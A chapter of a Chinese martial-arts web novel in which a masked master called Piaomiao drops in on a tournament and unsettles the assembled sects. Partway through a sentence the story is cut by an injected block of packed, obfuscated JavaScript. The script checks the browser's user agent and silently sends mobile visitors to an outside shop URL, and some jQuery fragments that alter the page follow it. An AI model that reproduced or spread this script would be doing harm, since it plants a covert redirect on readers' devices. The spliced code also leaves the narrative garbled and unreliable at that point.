连着三日阴云,沉闷闷的,好像一张密网整个从天上兜下来,抬头往上看时总觉得喘不过来气。要是比武当天,雨淅淅沥沥落下来,倒真要叩首问问老天爷打什么算盘。
估计老天爷也懒得在人间乌七八糟的事上掺和一手,合了众人的意。这天清风朗日,云卷云舒。
琴川地势平,拢共没几座山。观林山庄初建时,为数不多的几个山头都被踏了个遍,最终选址在风景秀丽的青行山半腰。
山庄有个西南门,门前是一方大平地,能容纳上千人。拂衣台就设在这,四四方方的大台子。
今日开拂衣台,台子的四个角都插上了旗,每面旗上都写着硕大的“武”字,龙飞凤舞,气势恢宏。
除却惹眼的拂衣台,更为惹眼的是八百步外,矗立在地界边缘的明月莲花榜。这榜用了上好的百年楠木,柱子上雕刻着山水鸟兽。明月榜在右,莲花榜在左,登榜者的名字,皆是拿刀小心翼翼刻上去的。若非故意破坏,足矣传世百年、千年。
台子上打得激烈,但算不上有多精彩。如常溪亭所说,百门有胆子肖想江湖令,但实力跟不上偶尔冒尖的胆子。
台上的人打着,台下人心里盘算着。自己的武功几斤几两,若有机会取胜,便还敢登台试上一试,若是机会渺茫,便也歇了心思,只看个热闹。
现在台子上站着的是无影门的二门主,他单手持剑,剑招出得极快。对垒的是孤霞派掌门,也用剑,只是她使的是一把软剑,像蛇一样灵活,进可攻退可守。
无影门讲求速度,唯快不破,孤霞派是柔后带力,有点借力打力的意思。
这是无影门的第三场对垒,若是这场还能胜出,便可入围,等着第二天再登台。眼看一炷香不剩多少,随着香灰掉落,他的耐心也逐渐消失殆尽。
他收敛进攻之势,大喝一声“递剑”!
台下无影门大门主捧了好久的剑终于还是派上用场,他打出内力,把剑往前方高出抛。二门主借轻功往后大步流星倒退三步,退了近十米远。
他挽剑挑开剑鞘,剑掉下来落在他左手,剑鞘随着他挑的动作又从哪来回哪去,落到大门主手里。
孤霞派掌门看他双手持剑,眼神裹了刀一样,想把他大卸八块。
“二门主何时改用双剑了?”
男人已近天命之年,笑起来颇是文雅,“不妨先过手,试试这双剑如何。”
他话音落,周身运力贴地滑行而出,一手直剑,一手软剑,朝着孤霞派掌门凌空劈去。孤霞派掌门拼尽全力抵挡,丝毫无进攻之力,不过十招便败下阵来。
江归晚一直站在榜前,没挪动位置,离拂衣台稍微有点远。她身边稀散站着些人,像是没打算上台,十足看戏模样。
其中一个长得五大三粗,背上背着一把大刀,他双手环胸,看完这几场对垒后频频摇头。
“大侠赤虎帮的?”一个身量稍矮的男人看见,好奇走近,跟人并排站着,“摇头是觉得这场对垒不精彩么?”
赤虎帮的男人扭头看,没瞧见跟他搭话的男人带什么武器,判断不出是何门何派,便不欲多话。
“我是紫阳峰的弟子,赵弘才。”男人后知后觉,解释自己的身份,“我武功平平,此次跟着掌门来凑热闹,想开开眼界。”
一听到紫阳峰,高大的男人就又扭过头来,“原来是紫阳峰的兄弟。紫阳峰和赤虎帮平日多有往来,你与我也不必客气,无需喊什么大侠。我叫张成仁,也是来凑热闹。”
赵弘才脸上挂着笑,频频点头,“张兄说的是。刚刚我看张兄摇头,不知何意?”
周围没几个人,能避开人群往外站的也不是什么有头有脸的人物,不怕叫人听见。张成仁放下戒备,一手搭在赵弘才的肩上,低声说:“不说别的,你可知数十年前那场庐陵武林盛会?那才是真的武学大家!打出一招,地动山摇!上场的这些人花拳绣腿,没什么斤两。”
江归晚太过于安静,张成仁没注意到身后还站着个小姑娘,他声音放低也不算小,每一个字都清晰传到江归晚耳里。
赵宏才没想到张成仁想的竟是这事。
他当时不在场,所知尽是后来道听途说。庐陵盛会那几日,连着发生好几件震惊江湖的大事,实在是太过惊骇。小门小派都关门闭户,胆颤心惊唯恐下一个遭殃的就是自己。
那段时光过后,也不怎么有人敢当众提起,连带着也没人谈论庐陵盛会。直到风平浪静过了好些年,才有胆子大的私底下说起。
赵弘才听来的都是一传十传到自己耳朵里的,不详实。他还是第一次离得如此近听人讲这件事,心里发痒。
江归晚心里也发痒,她注意力都集中在两个男人身上,期盼着说多一点,再多一点。
张成仁被热切的目光盯着,身上跟着热起来。他最喜欢跟别人讲这事,至高的武学,讲千百遍也不觉厌烦。他清了清嗓子,正准备往细了讲,习武多年敏锐的听觉便察觉到一阵劲风往头顶旋来。他瞬间作出反应往下蹲,脸上的冷汗还没往外出,凉风一过,被打断的几根发倒是先掉在了地上。
他一颗心后知后觉提到嗓子眼,也不敢动,更不敢抬头去看。听见惊呼声后才稍稍抬眼——一把纸扇旋着弯擦过众人头顶,环着拂衣台飞了一圈。
在众人又惊又惧的目光下,纸扇主人从数米高的房顶上飞身下来,接住飞回到手边的纸扇,稳稳停在拂衣台上。
拂衣台本就有半人高,那人高挑,仪态英挺仿若修竹。他极为招摇的穿着一身红衣蓝袍,衣摆垂地不染尘。刚刚如利刃吓破众人胆的纸扇,此刻乖乖握在他手里,轻轻摇动。
他脸上戴着面具,遮去了一半面容,露出来的唇不知是不是涂了胭脂,如他这个人一样,瑰丽的惑人。他头微微低着,应该是往台下看,好似世间主睥睨众生。
“听闻拂衣
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209458|150708||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
台有盛事,在下来瞧个趣儿。诸位莫惊慌。”男人的声音极有穿透力,语调轻缓算得上温和,只是冰冻三尺的威压太过强势,压得人不能喘息。
在场的除了萧牧泽,没有人有胆量和资本出声。
萧牧泽眼神里充满了好奇,他不顾萧栀禾阻拦,一个翻飞上了拂衣台。
“在下天武宫萧牧泽。敢问阁下是?”
男人停了摇扇,偏头看着萧牧泽,神色不变,嘴角依旧挂着笑,“缥缈。”
江归晚自扇子出现那刻起就提着的警惕顷刻转变为惊讶。她回身看向明月榜——榜上从上到下依次书着:施公仪、卜诏、邬清、罗嘉什、谈乐生、梅雨华、桓舟、缥缈、文长风。
花妙翎被那一扇子吓破了胆,从人群跑出来躲来江归晚身旁,她听到“缥缈”两字也是大吃一惊。跟江归晚一样的动作,伸着指头隔空从上往下数。
“哇……”花妙翎眼睛睁得大大的,她没忍住立时蹦跳着抓住江归晚的胳膊,“这人是明月榜上的高手!我们今天见到活人啦!”
江归晚的心跟着花妙翎的动作一起晃着。这种活在传说里的人物突然出现在这里,总不能真是临时起意。隐匿了那么多年,为何今日在此露面?
江归晚的神色太过困惑,花妙翎停下动作,疑问的话在心里绕了几绕没问出口。她不打扰,安安静静站着,视线在拂衣台上的两人身上打转。
台上,萧牧泽的心也惊了一下。
明月榜上的排名不是按照实力高低排序题上去的,这九人中,或许有些人连面也没见过。缥缈在拂衣台上对垒时,只有文长风和桓舟在场。萧牧泽没见过桓舟,但他见过文长风。
五年前,功力已是大退近七成的文长风,其自创的玄林剑意仍有穿云破石之威,更莫提文长风年少气盛之时。
据他爹萧成说,文长风曾接过缥缈一掌,重伤后闭关三年未出。明月榜上九人,皆是武学鬼才,真凑到一块比试一番,七天七夜也难分出个胜负。
萧牧泽拱手,语气恭敬,“原来是飘渺前辈。晚辈景仰多年,今日竟有幸得见前辈一面,实乃晚辈的荣幸。”
缥缈淡笑着,“别什么前辈晚辈的,我也没有那么老。文长风死了,学了点三脚猫功夫的人便敢来竞选盟主,大魏武林是不是真的没人了?”
这话一出,登过台的人皆是面色铁青。
新盟主的人选,六大派明面上没有加以干涉,但实际上最终会坐上这个位置的人早已心中有数。给江湖百门登台竞争的机会,只是要他们知道天在哪,老实本分些。
当然这些话萧牧泽是不会跟身旁这个不明来历的人讲的。他脸上挂着笑,“试手而已,愿者登台。”
缥缈闻言大笑,转身飞到萧牧泽方才坐着的椅子旁,端坐了下来。他姿态慵懒靠着椅背,说不出的雍容华贵。
萧牧泽见状也只是轻笑,他站在台上说:“比武继续。”